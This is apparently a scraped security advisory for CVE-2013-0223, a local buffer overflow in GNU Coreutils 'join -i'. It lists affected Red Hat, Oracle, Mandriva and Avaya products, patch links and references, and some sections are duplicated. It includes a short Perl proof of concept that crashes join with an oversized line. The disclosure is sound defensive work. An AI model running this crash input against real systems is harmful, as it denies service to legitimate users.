GNU Coreutils 'join' Text Utility Buffer Overflow Vulnerability
BID:57516
Info
GNU Coreutils 'join' Text Utility Buffer Overflow Vulnerability
| Bugtraq ID: | 57516 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-2013-0223 |
| Remote: | No |
| Local: | Yes |
| Published: | Jan 21 2013 12:00AM |
| Updated: | Apr 13 2015 09:46PM |
| Credit: | Unknown |
| Vulnerable: |
Red Hat Enterprise Linux Workstation 6 Red Hat Enterprise Linux Server 6 Red Hat Enterprise Linux HPC Node 6 Red Hat Enterprise Linux Desktop 6 Oracle Enterprise Linux 6.2 Oracle Enterprise Linux 6 MandrakeSoft Enterprise Server 5 x86_64 MandrakeSoft Enterprise Server 5 Avaya Aura Session Manager 6.2.1 Avaya Aura Session Manager 6.1.3 Avaya Aura Session Manager 6.1.2 Avaya Aura Session Manager 6.1.1 Avaya Aura Session Manager 6.2 Avaya Aura Session Manager 6.1 SP2 Avaya Aura Session Manager 6.1 Sp1 Avaya Aura Session Manager 6.1 Avaya Aura Session Manager 6.0 SP1 Avaya Aura Session Manager 6.0 Avaya Aura Session Manager 5.2 SP2 Avaya Aura Session Manager 5.2 SP1 Avaya Aura Session Manager 5.2 Avaya Aura Experience Portal 6.0 |
| Not Vulnerable: | |
Discussion
GNU Coreutils 'join' Text Utility Buffer Overflow Vulnerability
GNU Coreutils is prone to a buffer-overflow vulnerability because it fails to properly bounds check user-supplied input.
A local attacker can exploit this issue to crash the affected application, denying service to legitimate users. Due to the nature of this issue, arbitrary code-execution may be possible; however this has not been confirmed.
GNU Coreutils is prone to a buffer-overflow vulnerability because it fails to properly bounds check user-supplied input.
A local attacker can exploit this issue to crash the affected application, denying service to legitimate users. Due to the nature of this issue, arbitrary code-execution may be possible; however this has not been confirmed.
Exploit / POC
GNU Coreutils 'join' Text Utility Buffer Overflow Vulnerability
The following proof-of-concept is available:
% perl -e 'print "1","A"x50000000,"\r\n\r\n"' > /tmp/test.txt
% join -i /tmp/test.txt /tmp/test.txt
[1] 13579 segmentation fault join -i /tmp/test.txt /tmp/test.txt
% rm /tmp/test.txt
The following proof-of-concept is available:
% perl -e 'print "1","A"x50000000,"\r\n\r\n"' > /tmp/test.txt
% join -i /tmp/test.txt /tmp/test.txt
[1] 13579 segmentation fault join -i /tmp/test.txt /tmp/test.txt
% rm /tmp/test.txt
Solution / Fix
GNU Coreutils 'join' Text Utility Buffer Overflow Vulnerability
Solution:
Updates are available. Please see the references for more information.
MandrakeSoft Enterprise Server 5 x86_64
MandrakeSoft Enterprise Server 5
Mandriva Business Server 1 X86 64
Solution:
Updates are available. Please see the references for more information.
MandrakeSoft Enterprise Server 5 x86_64
-
Mandriva coreutils-6.12-2.6mdvmes5.2.x86_64.rpm
http://www.mandriva.com/en/downloads/ -
Mandriva coreutils-doc-6.12-2.6mdvmes5.2.x86_64.rpm
http://www.mandriva.com/en/downloads/
MandrakeSoft Enterprise Server 5
-
Mandriva coreutils-6.12-2.6mdvmes5.2.i586.rpm
http://www.mandriva.com/en/downloads/ -
Mandriva coreutils-doc-6.12-2.6mdvmes5.2.i586.rpm
http://www.mandriva.com/en/downloads/
Mandriva Business Server 1 X86 64
-
Mandriva coreutils-8.15-3.1.mbs1.x86_64.rpm
http://www.mandriva.com/en/downloads/ -
Mandriva coreutils-doc-8.15-3.1.mbs1.noarch.rpm
http://www.mandriva.com/en/downloads/
References
GNU Coreutils 'join' Text Utility Buffer Overflow Vulnerability
References:
References:
- Bug 798541 - VUL-1: coreutils: segmentation fault in 'join -i' with long line in (Novell)
- Coreutils Homepage (GNU)
- CVE Request coreutils (SecLists.Org)
- File coreutils-8.6-i18n.patch of Package coreutils (OpenSuse)
- Request 149348 (review) (OpenSuse)
- coreutils security, bug fix, and enhancement update (RHSA-2013-1652) (Avaya)